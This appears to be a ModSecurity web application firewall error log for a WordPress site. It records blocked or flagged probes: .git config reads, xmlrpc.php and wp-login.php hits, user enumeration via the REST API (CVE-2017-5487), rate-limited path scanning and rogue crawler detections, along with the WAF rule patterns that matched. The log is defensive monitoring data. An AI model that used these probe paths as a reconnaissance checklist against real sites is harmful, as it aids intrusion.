[Mon Mar 09 18:20:51.513122 2026] [:error] [pid 5783:tid 5898] [client 145.239.69.44:37766] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aa6fAwdiZJ1FQPtsTNTCAgAAAEQ"]
[Mon Mar 09 18:20:53.457321 2026] [:error] [pid 44504:tid 44541] [client 145.239.69.44:34582] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aa6fBXri56-8oxPimmglvgAAAgc"]
[Mon Mar 09 18:20:55.476866 2026] [:error] [pid 5787:tid 5928] [client 145.239.69.44:34598] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aa6fB7GpMgQ18gGUaFOVrAAAAIY"]
[Mon Mar 09 18:20:57.481201 2026] [:error] [pid 5787:tid 5925] [client 145.239.69.44:34604] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aa6fCbGpMgQ18gGUaFOVsQAAAIM"]
[Mon Mar 09 18:20:59.477738 2026] [:error] [pid 5779:tid 5869] [client 145.239.69.44:34606] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aa6fCwaHbHwtklaurgUCnQAAAA4"]
[Mon Mar 09 18:21:01.502660 2026] [:error] [pid 5779:tid 5871] [client 145.239.69.44:42052] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aa6fDQaHbHwtklaurgUCogAAABA"]
[Mon Mar 09 18:21:03.383565 2026] [:error] [pid 6074:tid 6106] [client 145.239.69.44:42068] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aa6fDxgvXHMVGYw_Elz4nwAAAM8"]
[Mon Mar 09 18:21:05.281794 2026] [:error] [pid 5779:tid 5870] [client 145.239.69.44:42074] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aa6fEQaHbHwtklaurgUCqgAAAA8"]
[Mon Mar 09 19:13:36.020450 2026] [:error] [pid 5779:tid 5875] [client 123.187.240.242:43025] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa6rYAaHbHwtklaurgUSTQAAABQ"]
[Mon Mar 09 19:46:32.388930 2026] [:error] [pid 44503:tid 44528] [client 43.228.157.68:51304] [client 43.228.157.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aa6zGMpGKFA8jlKDDh3h0wAAAdU"]
[Mon Mar 09 19:46:35.225520 2026] [:error] [pid 44503:tid 44530] [client 43.228.157.68:55582] [client 43.228.157.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aa6zG8pGKFA8jlKDDh3h3QAAAdc"]
[Mon Mar 09 19:46:37.470478 2026] [:error] [pid 17485:tid 17506] [client 43.228.157.68:55602] [client 43.228.157.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.git/config"] [unique_id "aa6zHdQOL_kxQEc1PTCxqQAAARI"]
[Mon Mar 09 21:51:23.984012 2026] [:error] [pid 44463:tid 44484] [client 190.140.46.94:52491] [client 190.140.46.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.140.46.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7QWy5tVkWjZvDknB0stgAAAY0"]
[Mon Mar 09 21:52:09.366319 2026] [:error] [pid 5779:tid 5860] [client 103.172.4.250:9908] [client 103.172.4.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.172.4.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7QiQaHbHwtklaurgVGAgAAAAU"]
[Mon Mar 09 21:52:30.456216 2026] [:error] [pid 5787:tid 5942] [client 84.15.188.245:43856] [client 84.15.188.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.188.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7QnrGpMgQ18gGUaFPv5gAAAJQ"]
[Mon Mar 09 21:58:38.769393 2026] [:error] [pid 44503:tid 44524] [client 190.140.46.94:49220] [client 190.140.46.94] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa7SDspGKFA8jlKDDh1BtQAAAdE"]
[Mon Mar 09 21:59:30.924353 2026] [:error] [pid 44503:tid 44508] [client 190.140.46.94:50411] [client 190.140.46.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.140.46.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7SQspGKFA8jlKDDh1C9AAAAcE"]
[Mon Mar 09 21:59:41.314975 2026] [:error] [pid 44503:tid 44513] [client 103.172.4.250:9860] [client 103.172.4.250] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa7STcpGKFA8jlKDDh1DFQAAAcY"]
[Mon Mar 09 22:00:28.149667 2026] [:error] [pid 5783:tid 5895] [client 190.140.46.94:60236] [client 190.140.46.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.140.46.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7SfAdiZJ1FQPtsTNTj9AAAAEE"]
[Mon Mar 09 22:00:39.042321 2026] [:error] [pid 5779:tid 5857] [client 103.172.4.250:9757] [client 103.172.4.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.172.4.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7ShwaHbHwtklaurgVIvQAAAAI"]
[Mon Mar 09 22:01:41.713300 2026] [:error] [pid 6074:tid 6093] [client 103.172.4.250:9867] [client 103.172.4.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.172.4.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7SxRgvXHMVGYw_ElwNCAAAAMI"]
[Mon Mar 09 22:01:44.133100 2026] [:error] [pid 44463:tid 44476] [client 190.140.46.94:60645] [client 190.140.46.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.140.46.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7SyC5tVkWjZvDknB0usAAAAYU"]
[Mon Mar 09 22:02:51.086192 2026] [:error] [pid 5787:tid 5938] [client 103.172.4.250:9826] [client 103.172.4.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.172.4.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7TC7GpMgQ18gGUaFP1zwAAAJA"]
[Mon Mar 09 22:03:00.136215 2026] [:error] [pid 5779:tid 5855] [client 190.140.46.94:54358] [client 190.140.46.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.140.46.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7TFAaHbHwtklaurgVJOwAAAAA"]
[Mon Mar 09 22:03:42.583865 2026] [:error] [pid 44463:tid 44479] [client 84.15.188.245:39366] [client 84.15.188.245] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa7TPi5tVkWjZvDknB0u7QAAAYg"]
[Mon Mar 09 22:03:59.043230 2026] [:error] [pid 44504:tid 44550] [client 103.172.4.250:9723] [client 103.172.4.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.172.4.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7TT3ri56-8oxPimmhYBAAAAhA"]
[Mon Mar 09 22:03:59.044727 2026] [:error] [pid 44504:tid 44550] [client 103.172.4.250:9723] [client 103.172.4.250] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7TT3ri56-8oxPimmhYBAAAAhA"]
[Mon Mar 09 22:03:59.046072 2026] [:error] [pid 44504:tid 44550] [client 103.172.4.250:9723] [client 103.172.4.250] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7TT3ri56-8oxPimmhYBAAAAhA"]
[Mon Mar 09 22:05:02.454343 2026] [:error] [pid 44504:tid 44544] [client 84.15.188.245:39358] [client 84.15.188.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.188.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7Tjnri56-8oxPimmhYNAAAAgo"]
[Mon Mar 09 22:06:19.116598 2026] [:error] [pid 44503:tid 44530] [client 84.15.188.245:7694] [client 84.15.188.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.188.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7T28pGKFA8jlKDDh1G6wAAAdc"]
[Mon Mar 09 22:07:30.856930 2026] [:error] [pid 5787:tid 5941] [client 84.15.188.245:21461] [client 84.15.188.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.188.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7UIrGpMgQ18gGUaFP4ogAAAJM"]
[Mon Mar 09 22:08:46.134452 2026] [:error] [pid 44503:tid 44529] [client 84.15.188.245:28351] [client 84.15.188.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.188.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7UbspGKFA8jlKDDh1IFQAAAdY"]
[Mon Mar 09 22:54:00.487072 2026] [:error] [pid 44503:tid 44523] [client 203.9.210.120:2502] [client 203.9.210.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.9.210.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7fCMpGKFA8jlKDDh1gRwAAAdA"]
[Mon Mar 09 22:58:32.323606 2026] [:error] [pid 44503:tid 44515] [client 203.9.210.120:2465] [client 203.9.210.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa7gGMpGKFA8jlKDDh1i5AAAAcg"]
[Mon Mar 09 23:00:00.023652 2026] [:error] [pid 44503:tid 44520] [client 203.9.210.120:2501] [client 203.9.210.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.9.210.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7gcMpGKFA8jlKDDh1jyAAAAc0"]
[Mon Mar 09 23:01:41.915998 2026] [:error] [pid 44463:tid 44489] [client 203.9.210.120:2340] [client 203.9.210.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.9.210.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7g1S5tVkWjZvDknB01VAAAAZI"]
[Mon Mar 09 23:03:26.996054 2026] [:error] [pid 44503:tid 44530] [client 203.9.210.120:2215] [client 203.9.210.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.9.210.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7hPspGKFA8jlKDDh1kwwAAAdc"]
[Mon Mar 09 23:05:27.455351 2026] [:error] [pid 5783:tid 5895] [client 203.9.210.120:2193] [client 203.9.210.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.9.210.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa7htwdiZJ1FQPtsTNTszAAAAEE"]
[Mon Mar 09 23:07:32.959872 2026] [:error] [pid 44504:tid 44546] [client 43.159.152.184:55752] [client 43.159.152.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa7iNHri56-8oxPimmhlOAAAAgw"]
[Mon Mar 09 23:46:14.584136 2026] [:error] [pid 44503:tid 44515] [client 184.32.220.182:52510] [client 184.32.220.182] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||gigfragments.org|F|4"] [data "EmailWolf"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "gigfragments.org"] [uri "/gigfragments.org/wp-content/themes/landkit/assets/js/landkit.js"] [unique_id "aa7rRspGKFA8jlKDDh14_wAAAcg"]
[Tue Mar 10 02:27:20.467490 2026] [:error] [pid 64612:tid 64630] [client 49.37.159.41:49684] [client 49.37.159.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8RCDQRjxCMnE2VMUiQfAAAAAY"]
[Tue Mar 10 02:27:23.758776 2026] [:error] [pid 32798:tid 32808] [client 49.37.159.41:49703] [client 49.37.159.41] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa8RC2xfsI4EbE3KrNCLKwAAAEg"]
[Tue Mar 10 02:27:44.514110 2026] [:error] [pid 64614:tid 64668] [client 49.37.159.41:63608] [client 49.37.159.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8RIJmzZEHtK_dZqUZfOwAAAJE"]
[Tue Mar 10 02:28:14.235799 2026] [:error] [pid 64614:tid 64669] [client 157.119.203.143:50182] [client 157.119.203.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.119.203.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8RPpmzZEHtK_dZqUZfZgAAAJI"]
[Tue Mar 10 02:34:33.197479 2026] [:error] [pid 32798:tid 32807] [client 49.37.159.41:62855] [client 49.37.159.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8SuWxfsI4EbE3KrNCRCgAAAEc"]
[Tue Mar 10 02:37:42.052360 2026] [:error] [pid 64612:tid 64646] [client 69.49.112.68:39128] [client 69.49.112.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa8TdjQRjxCMnE2VMUiTJgAAABY"]
[Tue Mar 10 02:37:45.023948 2026] [:error] [pid 64615:tid 64691] [client 69.49.112.68:48824] [client 69.49.112.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa8TeSTfqTdxLs_cfGQ34gAAAMw"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 10 02:40:12.852443 2026] [:error] [pid 32798:tid 32824] [client 49.37.159.41:58753] [client 49.37.159.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8UDGxfsI4EbE3KrNCVPwAAAFc"]
[Tue Mar 10 02:45:07.840944 2026] [:error] [pid 64775:tid 64799] [client 49.37.159.41:63999] [client 49.37.159.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8VM-D6wJvkR_jrqnXGPwAAARM"]
[Tue Mar 10 03:10:18.996087 2026] [:error] [pid 64775:tid 64804] [client 43.166.237.57:38706] [client 43.166.237.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa8bGuD6wJvkR_jrqnXR4wAAARg"]
[Tue Mar 10 03:39:55.834433 2026] [:error] [pid 64615:tid 64680] [client 157.119.203.143:49912] [client 157.119.203.143] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa8iCyTfqTdxLs_cfGRJFgAAAME"]
[Tue Mar 10 03:41:10.312351 2026] [:error] [pid 64775:tid 64779] [client 157.119.203.143:61867] [client 157.119.203.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.119.203.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8iVuD6wJvkR_jrqnXdeAAAAQA"]
[Tue Mar 10 03:42:16.024582 2026] [:error] [pid 32798:tid 32816] [client 157.119.203.143:63571] [client 157.119.203.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.119.203.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8imGxfsI4EbE3KrNDCZAAAAE8"]
